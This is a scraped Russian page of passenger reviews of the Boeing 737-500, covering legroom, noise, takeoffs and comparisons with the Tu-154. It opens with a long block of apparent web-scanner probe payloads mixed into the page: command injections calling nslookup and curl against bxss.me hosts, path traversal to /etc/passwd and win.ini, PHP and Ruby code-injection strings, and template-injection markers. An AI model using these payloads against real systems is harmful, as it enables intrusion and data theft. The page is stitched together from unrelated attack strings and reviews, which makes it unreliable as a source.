Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Летела в самолете, где только имеется экономический класс. Самолет ужасный, мне при моем росте 160 см очень тесно, затекают ноги. Еле-еле выдержала полет из Москвы в Новосибирск. Если учесть, что летала и летаю много, то одно могу сказать, что это тип самолета просто отвратительный.
Рост 175 места для ног есть с запасом. Кресла удобные, самолёт чистый. Летели Москва Анапа нордавиа.
Видно, что старенький, но ухожанный. Туалет маленький, смывает синей жидкостью...
Очень ощущается посадка и взлёт и жарковато, по-видимому нет кондиционера с хорошей циркуляцией воздуха, как в новых самолётах.
Но в целом, очень хорошо.
Москва - Пардубице, Трансаэро, самолёт EI-DTV. На данный момент самолёту 23 года. В самолёте только эконом, бизнеса нет. При моём росте 186см я себя чувствовал как килька в банке, ноги упирались в сиденье спереди, хотелось встать и провести полёт стоя. К самому полёту претензий никаких, ну потрясёт немного, ничего страшного, сколько не летал, почти на каждом рейсе хоть немного, но трясёт))
Мне ооочень нравится! Напоминает Ту-154! Смотрите: иллюминаторы похожи на Ту-154 и компактный салончик по 3-3 кресел в ряду! Мне кажется он и шумит так же как Ту-154М в крейсерном полёте! За это я люблю 737-ые! Надеюсь они будут всегда! Если сидеть в Ту-154М в начале первого салона-действительно шум даже тише во время крейсерного полёта, чем в 737! Вот за это я и люблю 737-ые, что они ассоциируются у меня
Летел на Боинг 737-500 Трансаэро. Москва-Уфа. Самолёту 24 года (у трансов они почти все такие). Но внутри выглядит вполне пристойно. Ещё раз убедился, что с точки зрения комфорта это одна из самых удачных моделей. Не слишком шумный и очень устойчивый в полёте. Показалось, что в полёте излишне высоко был задран нос самолёта. Не знаю с чем это связано. Возможно, визуальный обман. Выпуск шасси относительно тихо (у Ту-204 в этот момент кажется, что дно отваливается). Шаг кресел и ширина прохода вполне допустимые. Туалет только маловат ))), но это мелочи.
Сунгуров Евгений
19.11.2013
Летел с Краснодара в Сургут.При движении по полосе крылья болтались как бумажные. Взлет очень круто.Полет нормальный. А вот посадка это что-то.Очень резкое снижение и перепад давления не все спокойно перенесли. На "Тушке" 154 гораздо лучше
Всем привет! Летал на этом самолете в Прагу и обратно с "Трансаэро". Да как на автобусе по нашим русским дорогам - то гладко все,то потрясет иногда.)) Претензий не имею.
Отличный самолет, часто летаю в этом направлении. Никаких проблем не возникало, а взлет и посадка часто зависят от погодных условий.
Отличный самолёт летал понравилось))))
Летел ямаловским рейсом из Уфы в Москву. Самолёт очень понравился, даже больше, чем 737-800 NG. Летит очень плавно, в отличии от NG или ТУ-204 очень быстрый набор высоты, низкий уровень шума. Субъективные ощущения - чувствуешь себя вполне надёжно и безопасно. Несколько переживал, что борт уже старый, но всё оказалось вполне на уровне
Летел в конце ноября Москва-Брно(Ютэйр) на 737-500, хотя готовился к CRJ-200. Салон чистенький, судя по запаху похоже, что недавно из химчистки). В целом все понравилось не очень шумно, места для ног достаточно (рост 186), приветливый персонал.
Летала на нём из Одессы в Вену и из Вены в Одессу украинскими авиалиниями (МАУ). При взлёте периодически странное (но прикольное и не страшное) ощущение, будто самолёт падает вниз, возможно, так и должно быть, я не знаю, ибо летала всего дважды в жизни. На высоте оба раза было хорошо и комфортно, высота не чувствовалась вообще. Тесно, да, но несколько часов потерпеть можно.
Не кормили, так как полёт длился меньше двух часов, принесли сэндвич в коробке и напиток. Неплохо, вкусно.
Стюардессы были доброжелательными, улыбались, помогали во всём.
При посадке сильно заложило уши и была сильная резкая боль оба раза, но судя по поведению остальных пассажиров, только у меня. А может и нет.)
Общее впечатление неплохое, летать можно.
Недавно вернулся из отпуска, летел на 2-х Боингах: 767 и 737. Летел экономклассом. Так вот: 737 мне понравился больше. Моё место 15А - это прямо за крылом, где по идее должно быть очень шумно. Конечно, шум двигателей слышно, но если сравнить, то в 767-м весь полёт стоит такой грохот (место 30А), как будто взлетает ракета. Потом, когда мы попали в сильную турбулентность, самолёт слегка дрожал и его довольно плавно и мягко швыряло. 767 в примерно таких же условиях, как будто ехал на спортивной подвеске по гравийной дороге. В целом В-737 мне очень понравился. Вчера почитал про него, а он оказывается старше меня!
Летел как-то из Анапы в Москву, Аэрофлот-Доном. При моем росте 188 см, сидеть очень тесно. Да еще справа напирал какой-то толстый мужик-сосед. Два часа полета вытерпел с трудом. Хуже только эконом Ту-154 от Utair. Но там я сидел шесть с лишим часов ...
Летел неделю назад на Б737-600 с Мадрида в Киев. 3 часа 40 минут. В общем мне самолёт понравился. Особо запомнился короткий разгон и крутой взлёт. Место попалось возле аварийного люка с выходом на крыло и видом на мотор. Впереди седушки нет, так шо свободного места достаточно. Шумность вполне терпимая, а вот седушки жесткие. Посадка , как и взлёт, довольно резкая. В общем самолёт нормальный, но не для слабонервных.
Летел на VQ-BOO Татарстана. Совершенно нормальная машина с достаточным уровнем комфорта (ногам не тесно и ширина кресел нормальная). Работа двигателей - выше похвал - по их гулу трудно было поначалу определить обороты, не как у Тушек. Забавно смотреть на "гнущиеся" пилоны двигателей и "сдвижной" реверс. Хороший самолёт, вместо злопыхательств и брызгания слюной лучше перенимать опыт. Не идеал конечно, но "пятёрку" он заработал.
Летела этим самолетом Москва-Астрахань, Аэрофлот-Норд,
как раз на кануне простыла, когда взлетели, заложило все что можно, стало плохо, думала не выдержу. Потом резко включили отопление, стало не выносимо жарко, от этого стало казаться, что то не так с самолетом, ноги горели просто ужас. Заложенность ушей прошло только через 4 часа после приземления, после этого полета, я больше не полечу Boeing(ом) 737-500. Хорошо, что обратно летела Аэробусом, совсем другое ощущение.
Летом 2009 года довелось летать на 500 из Самары в Даламан(Турция) и обратно. АК - Оренбургские авиалинии. Один и тот же борт, но разные экипажи. Ощущения от полета отличаются радикально. Первый был какой-то резкий - и на взлете закрылки убрал так, что я подумал об экстренной посадке, и в повороты входил на максимальных кренах, а при первой смене эшелона на снижении моя подруга побелела и тут же позеленела от быстрой потери высоты. Мнение, конечно, субъективное, но ощущения неприятные. Несколько потряхивало - пришлось пристегнуть ремни.
Обратно летели тем же самым бортом, так вот тут экипаж был просто на высоте. И взлетели плавно, и высоту набрали прекрасно, даже учитывая, что первые пару тысяч набираются там по спирали - горный аэродром, неприятных ощущений не возникло. Экипаж сообщил о возможной умеренной турбулентности по трассе, но при первых встрясках тут же набрали высоту и почти до Самары летели, как в меду. Трясло чуть при снижении, но это закономерно, поскольку было лето и встречались облака.
Резюмируя сказаное, стоит отметить, что очень многое от экипажа зависит. И, конечно, от поведения матушки - природы.
По комфорту: Туда и обратно повезло лететь в 11 ряду, там аварийный выход, поэтому места для ног было очень много. Сидели по-барски..))
крыльями машет, как и любой другой большой самолет. Но слабонервным пассажирам где-то с 7 по 15 ряды не стоит смотреть на двигатели. Раскачиваются на пилонах так, что кажется, что отвалятся...)
О плюсах и минусах Ту-154 и Б-737-500 судить не берусь, поскольку не являюсь профессионалом. Но сразу в глаза бросается разнесенная схема двигателей, при которой в случае отказа одного из них пилот всегда должен быть готов парировать возникающий разворачивающий момент. На Ту-154 пилот лишен этого удовольствия вкупе с огромным запасом мощности от 3 двигателей.
Но это все мое субъективное мнение.
Летал Ростов-н/Д - Мск - Ростов-н/Д. Немного шумный, но не критично. Бывает потряхивает. Резвый взлет. Нормальный аппарат.
Аэрофлот норд(нордАвиа), б735 Архангельск-Питер-Архангельск... ощущения превосходные, мягкий взлет мягкая посадка. Ну да тесновато было, я сам не маленький, но 1.15 выдержать легко. Отличный самолет, двигателя убаюкивают на эшелоне, и хоть я сидел на плоскости особо громкого звука я не слышал, ну может на пробеге при включенном реверсе. Ни малейшего испуга за свою жизнь, приземлился - даже грустно стало, что так быстро всё кончилось! Отличный самолет.
И Туполь хороший самолет, ммм...вспомнить завораживающий вой "свистка" =) После которого минут долго болят уши (лично у меня). Так что не тот самолет плохой, кто и когда его выпустили. А то, как за ними ухаживают. И поверьте наши авиакомпании не будут закупать гавно, которое еле держится в воздухе. Не говорите чего не знаете.
Всем мягкой посадки.
просто оболденный самолет!!!!летать на нём одно удовольствие,да еще и с такими экипажаи,как в СКАТе!!!!!полеты проходят "НА УРА"!!!!!!!спасибо ВАМ!!!!!
Летел данным ВС АК Ямал в г.Новый Уренгой 26 января из г.Тюмень - место попалось 5F - Крайне не советую, глухая стена с иллюминатором напротив спинки кресла, самолет был старый , подлокотник слева не откидывался, соседнее кресло ,которое по маркировке-Е- (тоже касаеться и -В-) очень узкое, кресла как деревянные лавки, шум Системы Кондицианирования Воздуха докучала едким шипящим шумом. При рулении самолет жестко ,как и пассажиры ощущали стыки на рулежке, взлет резвый с характерным шумом двигателей(не слабее ТУ-154М). понравился подстаканик прикрепленный к столику-удобно. P.S экипажи у ямала молодцы, честь и хвала. Садились при видемости 300 метров ,метели и ветре 18м/с,по трясло не хило при подходе но экипаж все зделал как надо и с улыбкой и спокойствием.
Летали боингом 737-500 Аэрофлот- Норд в 2008 году в Анапу, отстой!!!! Резкий взлет, такая же посадка!!! Очень шумный! Короче КОРЫТО! Аэрофлотовская Тушка в сто раз комфортнее! Да ишума меньше, хоть сидели почти в хвосте!!!
Мне нравится этот самолет. Удобный, логичный. Тоже предпочитаю летать на нем,
нежели на полурзвалившихся тушках.
Летал Из Домодедово в Пулково и обратно на Boeing 737-500 компанией Трансаэро. Отлично! Чувствовал себя в полной безопасности ! Посадки и взлёты были очень мягкими ! Респект пилотам !!! Ни разу в жизни не летал на самолете -Ту- и не собираюсь ! я лучше останусь спать в Аэропорту до прибытия Боинга или Аэробуса =)
Буквально вчера летел боингом 737-500 авиакомпании Скай Экспресс. Остался очень доволен. Идеальные в плане комфорта взлет (правда, чуть ли не 45 градусов),посадка супер, хотя это уже респект пилотам. Относительно тихая машина, тряски особой не было. А насчет споров-что лучше, боинг, аэробус и т. д., то мне кажется- лучше, когда профессиональный экипаж, с ним любой самолет в ласточку превращается.
